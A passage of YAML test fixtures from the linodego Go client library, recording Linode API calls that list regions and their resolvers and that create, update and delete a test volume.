1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:02:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def","region":"ap-west","tags":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes method: POST response: body: '{"id": 4979086, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:02:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "100" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-vol-test-def-updated"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4979086 method: PUT response: body: '{"id": 4979086, "status": "creating", "label": "go-vol-test-def-updated", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def-updated", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": "nvme"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:02:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/volumes/4979086 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:02:16 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - volumes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestVolume_WaitForLinodeID_linode.yaml000066400000000000000000001054641474652371000340470ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nz-akl-1", "label": "Auckland, NZ", "country": "nz", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-den-1", "label": "Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-1", "label": "Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-1", "label": "Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-1", "label": "Johannesburg, ZA", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-1", "label": "Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-1", "label": "Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-1", "label": "Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-1", "label": "Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 